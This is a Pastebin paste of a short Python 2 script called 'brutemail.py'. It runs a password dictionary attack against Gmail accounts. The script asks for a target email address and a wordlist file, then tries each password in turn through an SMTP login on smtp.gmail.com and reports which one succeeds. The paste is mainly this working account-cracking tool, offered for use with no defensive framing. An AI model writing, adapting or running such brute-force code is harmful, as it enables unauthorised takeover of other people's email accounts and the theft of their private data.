Advertisement
skip420

brutemail.py

Jul 28th, 2019
519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.67 KB | None | 0 0
  1. # Program: E_MAIL Dictionary Attack  
  2. # Author: skip420
  3. # Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.
  4.  
  5. import smtplib
  6.  
  7. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  8. smtpserver.ehlo()
  9. smtpserver.starttls()
  10.  
  11. user = raw_input("Enter the target's email address: ")
  12. passwfile = raw_input("Enter the password file name: ")
  13. passwfile = open(passwfile, "r")
  14.  
  15. for password in passwfile:
  16.         try:
  17.                 smtpserver.login(user, password)
  18.  
  19.                 print "[+] Password Found: %s" % password
  20.                 break;
  21.         except smtplib.SMTPAuthenticationError:
  22.                 print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement